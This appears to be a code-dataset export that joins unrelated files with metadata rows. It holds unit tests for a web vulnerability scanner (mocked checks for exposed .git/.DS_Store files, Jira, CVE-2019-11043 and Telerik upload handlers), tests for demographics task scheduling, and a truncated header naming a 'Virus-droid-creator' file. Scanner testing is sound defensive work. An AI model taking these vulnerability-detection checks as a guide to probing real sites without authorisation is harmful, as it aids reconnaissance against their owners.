self.assertNotIn("Error", stdout.getvalue())
self.assertNotIn("cookie must be in NAME=VALUE format", stdout.getvalue())
network.reset()
def test_net_init_invalid_cookie(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("", "SESSION123", "")
_ = network.http_get("http://example.com")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertIn("Error", stdout.getvalue())
self.assertIn("cookie must be in NAME=VALUE format", stdout.getvalue())
network.reset()
def test_net_init_valid_header(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("", "", "AUTH=123")
_ = network.http_get("http://example.com")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertNotIn("header must be in NAME=VALUE format", stdout.getvalue())
network.reset()
def test_net_init_valid_header_alt(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("", "", "AUTH: 123")
_ = network.http_get("http://example.com")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertNotIn("header must be in NAME=VALUE format", stdout.getvalue())
network.reset()
def test_net_init_invalid_header(self):
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
network.init("", "", "AUTH123")
_ = network.http_get("http://example.com")
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(network._requester)
self.assertNotIn("Exception", stderr.getvalue())
self.assertIn("Error", stdout.getvalue())
self.assertIn("header must be in NAME=VALUE format", stdout.getvalue())
network.reset()
def test_jira_found(self):
url = "https://www.example.org/"
target_dir = os.path.dirname(os.path.realpath("__file__"))
path = os.path.join(target_dir, "tests/test_data/jira_dashboard.txt")
contents = Path(path).read_text()
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(url, text="body", status_code=200)
m.get(f"{url}secure/Dashboard.jspa", text=contents, status_code=200)
m.get(
f"{url}jira/secure/Dashboard.jspa", text="body", status_code=404
)
session = Session(None, url)
results, jira_url = jira.check_for_jira(session)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(jira_url)
self.assertIsNotNone(results)
self.assertTrue(len(results) > 0)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertTrue(any("Jira Installation Found" in r.message for r in results))
self.assertTrue(any("v8.1.0-801000" in r.message for r in results))
network.reset()
def test_jira_user_reg(self):
url = "https://www.example.org/secure/Dashboard.jspa"
target_dir = os.path.dirname(os.path.realpath("__file__"))
path = os.path.join(target_dir, "tests/test_data/jira_registration.txt")
contents = Path(path).read_text()
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
"https://www.example.org/secure/Signup!default.jspa",
text=contents,
status_code=200,
)
results = jira.check_jira_user_registration(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(results)
self.assertTrue(len(results) > 0)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertTrue(
any("Jira User Registration Enabled" in r.message for r in results)
)
network.reset()
def test_ds_store(self):
url = "https://www.example.org/"
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, status_code=404)
m.head(requests_mock.ANY, status_code=404)
m.get(f"{url}.DS_Store", content=b"\0\0\0\1Bud1\0", status_code=200)
m.head(f"{url}.DS_Store", status_code=200)
results = file_search.find_ds_store([url])
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(results)
self.assertTrue(len(results) > 0)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertTrue(any(".DS_Store File Found" in r.message for r in results))
network.reset()
def test_cve_2019_11043_false(self):
network.init("", "", "")
output.setup(False, False, False)
url = "https://www.example.org/"
p = command_line.build_parser()
ns = p.parse_args(args=["scan"])
s = Session(ns, url)
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, status_code=200)
m.head(requests_mock.ANY, status_code=200)
results = php.check_cve_2019_11043(
s, ["https://www.example.org/test/"]
)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(results)
self.assertTrue(len(results) == 0)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
network.reset()
def test_telerik_rau_enabled(self):
network.init("", "", "")
output.setup(False, False, False)
url = "https://www.example.org/"
try:
output.setup(False, True, True)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
url=url,
text='<html><body><script src="/Telerik.Web.UI.WebResource.axd'
'?_ABC=1" type="text/javascript"></script></body></html>',
)
m.get(
url=f"{url}Telerik.Web.UI.WebResource.axd?type=rau",
text='{ "message" : "RadAsyncUpload handler is registered succesfully, '
'however, it may not be accessed directly." }',
)
res = network.http_get(url)
body = res.text
soup = BeautifulSoup(body, "html.parser")
results = iis.check_telerik_rau_enabled(soup, url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(results)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stdout.getvalue())
self.assertTrue(
any(
"Telerik UI for ASP.NET AJAX RadAsyncUpload Enabled" in r.message
for r in results
)
)
network.reset()
def test_spider_single(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="<html><body><p>body</p></body></html>",
status_code=200,
)
m.head(requests_mock.ANY, status_code=200)
try:
links, res = spider(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_spider_link(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="<html><body><p><a href='/'>link</a></p></body></html>",
status_code=200,
)
m.head(requests_mock.ANY, status_code=200)
try:
links, res = spider(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_spider_logout(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="<html><body><p><a href='/'>logout</a></p></body></html>",
status_code=200,
)
m.head(requests_mock.ANY, status_code=200)
try:
links, res = spider(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_spider_jpg(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="<html><body><p><a href='/file.jpg'>jpg</a></p></body></html>",
status_code=200,
)
m.get(f"{url}file.jpg", content=b"\0\0\0", status_code=200)
m.head(requests_mock.ANY, status_code=200)
try:
links, res = spider(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_spider_insecure(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="<html><body><p><a href='http://example.com/'>insecure</a></p></body></html>",
status_code=200,
)
m.head(requests_mock.ANY, status_code=200)
try:
links, res = spider(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_spider_redirect(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="<html><body><p><a href='/redirect/'>redirect</a></p></body></html>",
status_code=200,
)
m.get(f"{url}redirect/", status_code=301, headers={"Location": "/"})
m.head(requests_mock.ANY, status_code=200)
m.head(f"{url}redirect/", status_code=301, headers={"Location": "/"})
try:
links, res = spider(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_special_files(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="not found", status_code=404)
m.get(f"{url}license.txt", status_code=200, text="license")
m.head(requests_mock.ANY, status_code=404)
m.head(f"{url}license.txt", status_code=200)
try:
links, res = check_special_files(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_special_paths(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="not found", status_code=404)
m.get(f"{url}.git/index", status_code=200, text="git")
m.head(requests_mock.ANY, status_code=404)
m.head(f"{url}.git/index", status_code=200)
try:
links, res = check_special_paths(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertIsNotNone(links)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_waf_cloudflare(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="not found",
status_code=404,
headers={"Server": "cloudflare"},
)
m.head(
requests_mock.ANY, status_code=404, headers={"Server": "cloudflare"}
)
try:
head = network.http_head(url)
raw = network.http_build_raw_response(head)
res = get_waf(head.headers, raw, url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_waf_incapsula(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(
requests_mock.ANY,
text="not found",
status_code=404,
headers={"X-CDN": "123"},
)
m.head(requests_mock.ANY, status_code=404, headers={"X-CDN": "123"})
try:
head = network.http_head(url)
raw = network.http_build_raw_response(head)
res = get_waf(head.headers, raw, url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_all_200(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=200)
m.head(requests_mock.ANY, status_code=200)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_redirect(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, status_code=301, headers={"Location": "/"})
m.head(requests_mock.ANY, status_code=301, headers={"Location": "/"})
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_bad_head(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=404)
m.head(requests_mock.ANY, status_code=500)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_all_401(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=401)
m.head(requests_mock.ANY, status_code=401)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_all_500(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=500)
m.head(requests_mock.ANY, status_code=500)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_all_200_bin(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=200)
m.head(requests_mock.ANY, status_code=200)
m.get(url, content=b"\0\0\0\1\2\3\4", status_code=200)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_all_200_bin_all(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, content=b"\0\0\0\1\2\3\4", status_code=200)
m.head(requests_mock.ANY, status_code=200)
m.get(url, content=b"\0\0\0\1\2\3\5", status_code=200)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_all_200_diff(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=200)
m.head(requests_mock.ANY, status_code=200)
m.get(url, text="this is different", status_code=200)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_404_similar(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="Error", status_code=200)
m.head(requests_mock.ANY, status_code=200)
m.get(url, text="Error1", status_code=200)
try:
_, _ = network.http_file_exists(url)
except Exception as error:
self.assertIsNone(error)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_tomcat_version(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.get(requests_mock.ANY, text="body", status_code=500)
m.post(requests_mock.ANY, text="body", status_code=500)
m.head(requests_mock.ANY, status_code=500)
try:
res = apache_tomcat.check_version(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_http_methods_good(self):
network.init("", "", "")
url = "https://adamcaudill.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
with requests_mock.Mocker() as m:
m.register_uri(requests_mock.ANY, requests_mock.ANY, status_code=405)
m.get(requests_mock.ANY, text="body", status_code=200)
m.post(requests_mock.ANY, text="body", status_code=200)
m.head(requests_mock.ANY, status_code=200)
try:
methods, res = http_basic.check_http_methods(url)
except Exception as error:
self.assertIsNone(error)
self.assertIsNotNone(res)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
def test_hsts_preload_status(self):
network.init("", "", "")
url = "https://www.google.com/"
output.setup(False, False, False)
with utils.capture_sys_output() as (stdout, stderr):
try:
res = http_basic.check_hsts_preload(url)
except Exception as error:
self.assertIsNone(error)
self.assertTrue(len(res) == 2)
self.assertNotIn("Exception", stderr.getvalue())
self.assertNotIn("Error", stderr.getvalue())
| 35.55995 | 106 | 0.553569 | 6,420 | 56,647 | 4.741589 | 0.056854 | 0.052035 | 0.033015 | 0.046253 | 0.898854 | 0.881968 | 0.87323 | 0.86216 | 0.848954 | 0.837752 | 0 | 0.016618 | 0.322241 | 56,647 | 1,592 | 107 | 35.582286 | 0.776235 | 0.004855 | 0 | 0.710356 | 0 | 0.004854 | 0.140847 | 0.025742 | 0 | 0 | 0 | 0 | 0.203074 | 1 | 0.06877 | false | 0 | 0.014563 | 0 | 0.084142 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3219b8e80576ac9b8f9e2d99bc97e353940343b6 | 10,613 | py | Python | tests/demographics/test_scheduling.py | LCBRU/identity | e8bec964aca9595091bf891bbe41632ce54afd3f | [
"MIT"
] | null | null | null | tests/demographics/test_scheduling.py | LCBRU/identity | e8bec964aca9595091bf891bbe41632ce54afd3f | [
"MIT"
] | null | null | null | tests/demographics/test_scheduling.py | LCBRU/identity | e8bec964aca9595091bf891bbe41632ce54afd3f | [
"MIT"
] | null | null | null | import contextlib
from datetime import datetime
import os
from lbrc_flask.database import db
from identity.demographics import do_lookup_tasks
from lbrc_flask.pytest.helpers import login
from tests.demographics import (
DemographicsTestHelper,
)
def test__schedule_lookup_tasks__request_not_found(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
do_lookup_tasks(1)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_called_once()
def test__schedule_lookup_tasks__in_error(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__uploaded()
dr.error_datetime = datetime.utcnow()
db.session.add(dr)
db.session.commit()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__paused(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__uploaded()
dr.paused_datetime = datetime.utcnow()
db.session.add(dr)
db.session.commit()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__deleted(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__uploaded()
dr.deleted_datetime = datetime.utcnow()
db.session.add(dr)
db.session.commit()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__submitted(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__data_extraction()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_called_once_with(dr.id)
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__extracted(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__pre_pmi_lookup()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_called_once_with(dr.id)
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__extracted__skip_pmi(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u, skip_pmi=True)
dr = dth.get_demographics_request__pre_pmi_lookup()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_called_once_with(dr.id)
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__got_pre_pmi(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__spine_lookup()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_called_once_with(dr.id)
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__spine_looked_up(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__post_pmi_lookup()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_called_once_with(dr.id)
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__spine_looked_up__skip_pmi(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u, skip_pmi=True)
dr = dth.get_demographics_request__post_pmi_lookup()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_called_once_with(dr.id)
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__got_post_pmi(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__create_results()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_called_once_with(dr.id)
mock_log_exception.assert_not_called()
_remove_files(dr)
def test__schedule_lookup_tasks__result_created(
client,
faker,
mock_process_demographics_request_data,
mock_extract_data,
mock_produce_demographics_result,
mock_extract_pre_pmi_details,
mock_extract_post_pmi_details,
mock_log_exception,
):
u = login(client, faker)
dth = DemographicsTestHelper(faker=faker, user=u)
dr = dth.get_demographics_request__download()
do_lookup_tasks(dr.id)
mock_extract_data.delay.assert_not_called()
mock_extract_pre_pmi_details.delay.assert_not_called()
mock_process_demographics_request_data.delay.assert_not_called()
mock_extract_post_pmi_details.delay.assert_not_called()
mock_produce_demographics_result.delay.assert_not_called()
mock_log_exception.assert_not_called()
_remove_files(dr)
def _remove_files(dr):
with contextlib.suppress(FileNotFoundError):
os.remove(dr.filepath)
os.remove(dr.result_filepath)
| 31.032164 | 80 | 0.768491 | 1,380 | 10,613 | 5.323188 | 0.056522 | 0.107814 | 0.130683 | 0.144296 | 0.939014 | 0.931936 | 0.931936 | 0.931936 | 0.931936 | 0.931936 | 0 | 0.000113 | 0.166305 | 10,613 | 341 | 81 | 31.123167 | 0.830131 | 0 | 0 | 0.862963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.266667 | 1 | 0.048148 | false | 0 | 0.025926 | 0 | 0.074074 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5c59027dca5ea3c70d7a438dce02c19dab3a264c | 150 | py | Python | qm9/data/prepare/__init__.py | colormeblue1013/egnn-test | 78a05863b867f06bdf6f6273e029ab11fad7a03d | [
"MIT"
] | 142 | 2021-05-11T11:25:34.000Z | 2022-03-19T00:55:37.000Z | qm9/data/prepare/__init__.py | colormeblue1013/egnn-test | 78a05863b867f06bdf6f6273e029ab11fad7a03d | [
"MIT"
] | 9 | 2021-07-14T11:13:01.000Z | 2022-03-21T15:45:05.000Z | qm9/data/prepare/__init__.py | colormeblue1013/egnn-test | 78a05863b867f06bdf6f6273e029ab11fad7a03d | [
"MIT"
] | 29 | 2021-05-12T14:40:41.000Z | 2022-03-19T00:55:39.000Z | from qm9.data.prepare.download import *
from qm9.data.prepare.process import *
from qm9.data.prepare.qm9 import *
from qm9.data.prepare.md17 import *
| 30 | 39 | 0.786667 | 24 | 150 | 4.916667 | 0.333333 | 0.237288 | 0.372881 | 0.610169 | 0.610169 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052239 | 0.106667 | 150 | 4 | 40 | 37.5 | 0.828358 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
5c7e6d66d9d50e60e01c897907b784dc56f18000 | 100,358 | py | Python | Virus-droid-creator/Auth/Iqbalmh18/dog_open.py | Alpha-Demon404/RE-14 | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 39 | 2020-02-26T09:44:36.000Z | 2022-03-23T00:18:25.000Z | Virus-droid-creator/Auth/Iqbalmh18/dog_open.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
] | 15 | 2020-05-14T10:07:26.000Z | 2022-01-06T02:55:32.000Z | Virus-droid-creator/Auth/Iqbalmh18/dog_open.py | B4BY-DG/reverse-enginnering | b5b46a9f0eee218f2a642b615c77135c33c6f4ad | [
"MIT"
